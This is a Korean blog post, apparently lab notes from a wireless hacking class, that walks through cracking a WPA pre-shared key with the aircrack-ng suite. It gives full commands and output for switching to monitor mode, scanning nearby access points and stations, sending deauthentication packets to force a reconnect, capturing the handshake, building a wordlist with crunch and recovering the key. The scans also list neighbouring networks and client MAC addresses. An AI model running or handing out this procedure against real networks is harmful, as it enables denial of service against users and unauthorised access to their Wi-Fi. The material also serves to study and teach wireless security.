WPA 키 크래킹
아무리 많이 잡아도 랜덤하게 생성되기 때문에 유추할 수 없다. 하지만 다른 단점으로 자체 알고리즘, 시스템에 대한 문제는 없지만, WPA핸드폰으로 된 방식이 붙어있으면 다른 공격자가 실제 IP를 할당하지 않아도 중간에 오고 가는 패킷들을 잡아 볼 수 있다. 주변에 WIFI를 모두 검색할 수 있어서 무선AP에 실제 인증되어 있는 목록까지 볼 수 있다. IP할당 없이 커넥션을 이루지 않아도 가능하다. 캡쳐된 패킷을 사전파일로 만들어서 사용한다.
WPA 키 크래킹 원리 - death패킷을 보내서 다시 인증하는 패킷을 잡아서 사전파일로 비교하여 패스워드를 크랙킹한다. 좋은 사전파일을 갖고 있는 것이 중요하다.
deauth패킷을 보내면 인증을 새로하려고 하는데 패킷을 통화 몇 비트 사용하는지 알 수 있다. (암호화 버전 협상) 때문에 패킷으로 사전파일을 만들어서 크랙하는 것이다.
(전제조건) AP에 누군가가 잡혀있어야 한다.
1. 패킷 캡쳐
2. 상대편한테 deauth 보내고
3. 패킷이 잡히면 그것으로 사전파일로 공격!
USB방식은 하나를 쓰면 다른사람이 못쓰게 막는다.
(가정) 무선랜 카드가 장착되어 있다고 가정한다.
① 모니터 모드(관리모드 -> 모니터모드)로 전환
# iwconfig
wlan0 IEEE 802.11abgn ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off
lo no wireless extensions. eth0 no wireless extensions. eth1 no wireless extensions. |
# airmon-ng
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] |
# airmon-ng start wlan0
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] (monitor mode enabled on mon0) |
# airmon-ng
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] mon0 Ralink RT2870/3070 rt2800usb - [phy0] |
② 공격할 무선 AP를 검색
# airodump-ng mon0
CH 7 ][ Elapsed: 16 s ][ 2014-12-02 18:22
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
64:E5:99:43:65:33 -52 41 0 0 3 54e OPN securityhacker4 64:E5:99:43:65:31 -55 45 0 0 3 54e WPA TKIP PSK securityhacker2 64:E5:99:43:65:32 -50 45 0 0 3 54 WEP WEP securityhacker3 64:E5:99:43:65:30 -50 39 0 0 3 54e WPA2 CCMP PSK securityhacker D0:57:85:68:62:9B -54 38 23 0 6 54e. WPA2 CCMP PSK AndroidHotspot A 00:08:5B:7B:22:00 -59 37 0 0 3 54e. WPA TKIP PSK <length: 0> 00:08:5B:7B:22:01 -61 32 5 0 3 54e. WPA2 TKIP PSK uri401 10:68:3F:4A:47:C9 -62 35 0 0 6 54e. WPA2 CCMP PSK G_2412 00:08:5B:7B:22:F1 -63 13 0 0 4 54e. WPA2 TKIP PSK uri402-2 64:E5:99:42:60:A4 -63 21 1 0 5 54e WPA2 CCMP PSK soldesk11 00:08:5B:7B:22:F0 -64 23 0 0 4 54e. WPA TKIP PSK <length: 0> 00:08:5B:7B:25:B0 -64 23 0 0 9 54e. WPA TKIP PSK <length: 0> 64:E5:99:58:B1:B0 -63 9 0 0 5 54e WEP WEP Android 00:08:5B:7B:25:B1 -64 16 1 0 9 54e. WPA2 TKIP PSK uri402-1 00:08:5B:7B:21:C9 -66 8 0 0 1 54e. WPA2 TKIP PSK uri403-2 00:08:5B:7B:21:C8 -66 10 0 0 1 54e. WPA TKIP PSK <length: 0> 00:08:9F:45:32:84 -70 5 0 0 9 54e WPA2 TKIP PSK UgaKing111150
BSSID STATION PWR Rate Lost Frames Probe
(not associated) C0:65:99:EB:33:39 -47 0 - 1 0 4 (not associated) 18:E2:C2:05:CC:F7 -61 0 - 1 40 9 uri402-2 (not associated) 60:6C:66:75:50:1C -67 0 - 1 0 1 (not associated) E0:CA:94:E4:89:B0 -69 0 - 1 0 4 (not associated) C4:43:8F:B1:A7:66 -71 0 - 1 0 2 <CTRL + C> |
-> 약 1분 정도 검색한 후 <CTRL + C>를 통해 끊는다.
-> 무선 AP의 BSSID와 채널 번호를 기억해야 한다.
# airodump-ng -c 3 --bssid 64:E5:99:43:65:31 mon0
CH 3 ][ Elapsed: 1 min ][ 2015-05-14 13:58 ][ WPA handshake: 64:E5:99:43:65:31
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
64:E5:99:43:65:31 -45 23 738 1459 3 3 54e WPA TKIP PSK securityhacker2
BSSID STATION PWR Rate Lost Frames Probe
64:E5:99:43:65:31 08:3D:88:1E:79:FD -43 48e- 6 1 298 securityhacker2 |
-> 무선 AP에 접속한 사용자 검색
③ 연결된 스테이션을 DoS 공격을 통해 강제로 연결을 해제 후 재결합 과정을 거치게 한다.
이제 핸드폰을 무선 AP에 접속을 시킨다.
그리고 airodump 화면을 보면 왼쪽 상단에 "WPA handshake: ...." 메세지가 보인다.
[TERM2] 공격자 윈도우
(명령어 형식)
# airodump -c <채널번호> --bssid <BSSID> -w <저장할 파일> <Monitor Mode LAN Card>
# airodump-ng -c 3 --bssid 64:E5:99:43:65:31 -w /test/WPA mon0
[TERM3] 공격자 윈도우
(명령어 형식)
# aireplay-ng -0 <숫자> -a <무선 AP BSSID> -c <STATION MAC> <Monitor Mode LAN Card>
# aireplay-ng -0 5 -a 64:E5:99:43:65:31 -c 08:3D:88:1E:79:FD mon0
15:16:35 Waiting for beacon frame (BSSID: 64:E5:99:43:65:31) on channel -1 15:16:35 Couldn't determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch Please specify an ESSID (-e). |
# man aireplay-ng
--ignore-negative-one if the interface's channel can't be determined
ignore the mismatch, needed for unpatched cfg80211
# aireplay-ng --ignore-negative-one -0 5 -a 64:E5:99:43:65:31 -c 08:3D:88:1E:79:FD mon0
14:50:53 Waiting for beacon frame (BSSID: 64:E5:99:43:65:30) on channel -1 14:50:54 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|59 ACKs] 14:50:55 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|62 ACKs] 14:50:56 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|62 ACKs] 14:50:56 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|57 ACKs] 14:50:57 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|20 ACKs] |
핸드폰에서 인증을 끊고 다시 연결해 본다.(또는 핸드폰 인증이 자동으로 끊기게 될것이다.)
④ WPA 키를 크랙한다.
(명령어 사용법)
# aircrack-ng -b <BSSID> -w <사전파일> <읽어들일 파일>
[TERM3] 공격자 윈도우
(명령어 사용법)
# crunch <min-len> <max-len> [<charset string>] [options]
# cd /test
# crunch 3 3 sol
-> 테스트
[참고] 실습을 빠르게 진행하기 위해서는 dictionary 파일을 작게 만들어서 테스트한다.
# for i in `seq 1111 1234`
do
echo $i >> /test/dictionary1.txt
done
# echo 'soldesk1.' >> /test/dictionary1.txt
# cat /test/dictionary1.txt
# crunch 9 9 soldesk1. > /test/dictionary1.txt
Crunch will now generate the following amount of data: 1342177280 bytes 1280 MB 1 GB 0 TB 0 PB Crunch will now generate the following number of lines: 134217728 |
-> 약간 시간이 걸림(약 1G 이상되는 파일이 생성됨)
# egrep --color soldesk1 /test/dictionary1.txt
ssoldesk1 soldesk1s soldesk1o soldesk1l soldesk1d soldesk1e soldesk1k soldesk11 soldesk1. osoldesk1 lsoldesk1 dsoldesk1 esoldesk1 ksoldesk1 1soldesk1 .soldesk1 |
-> soldesk1. 확인
# aircrack-ng -b 64:E5:99:43:65:31 -w /test/dictionary1.txt /test/WPA-01.cap
Aircrack-ng 1.2 beta3 [00:13:52] 2736488 keys tested (2226.26 k/s) KEY FOUND! [ soldesk1. ] Master Key : 08 B9 10 99 39 F5 9D E4 6D 6B E5 88 AF D8 C2 F3 38 36 3E A0 E3 20 A5 7B 4B 7F 74 3D C3 D9 79 D3 Transient Key : F0 8F CA 54 8B 78 26 95 A9 8C AD 56 1E 61 5D 3F F4 18 4D A2 6C 5A CB B3 FF 9D 70 E3 9F A4 E7 E4 31 9F FF 58 B2 06 07 16 DE DA BD 5D D1 5A AB 4F A6 9F C3 ED 05 65 41 18 70 67 02 38 13 F6 2A 31 EAPOL HMAC : F2 D8 25 5D 87 B7 FE CD 28 A0 97 3F 38 A3 5D D1 |
-> 많은 시간이 걸린다.
⑤ 실습이 끝났다면 복원작업
# airmon-ng
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy4] mon0 Ralink RT2870/3070 rt2800usb - [phy4] |
# iwconfig
wlan0 IEEE 802.11abgn ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off
lo no wireless extensions. mon0 IEEE 802.11abgn Mode:Monitor Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:off
eth0 no wireless extensions. eth1 no wireless extensions. |
# airmon-ng stop mon0
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy4] mon0 Ralink RT2870/3070 rt2800usb - [phy4] (removed) |
(절차정리) WPA 방식의 암호 크래킹
USB 방식의 무선 랜카드 장착 (물리적으로 장착)
# airmon-ng start wlan0 (wlan0 -> mon0)
# airodump-ng mon0 (WPA 방식의 AP 검색)
# airodump-ng -c 3 --bssid 64:E5:99:43:65:31 -w packet mon0
(WPA 방식의 패킷 캡쳐 & 저장 & 무선 AP 붙어있는 STATION 확인)
# aireplay-ng -0 5 -a 64:E5:99:43:65:31 -c 08:3D:88:1E:79:FD mon0
(무선 AP 붙어 있는 STATION에 deauth 패킷 보내기)
# aircrack-ng -b 64:E5:99:43:65:31 -w dictionary1.txt packet-01.cap
(사전파일 비교를 통해 WPA 암호 크래킹)
'Learning > └◆Wireless Hacking' 카테고리의 다른 글
Fake AP (0) | 2017.02.01 |
---|---|
WPA2 Key Cracking (0) | 2017.02.01 |
WEP Password Cracking (0) | 2017.02.01 |
Wireless Hacking (0) | 2017.02.01 |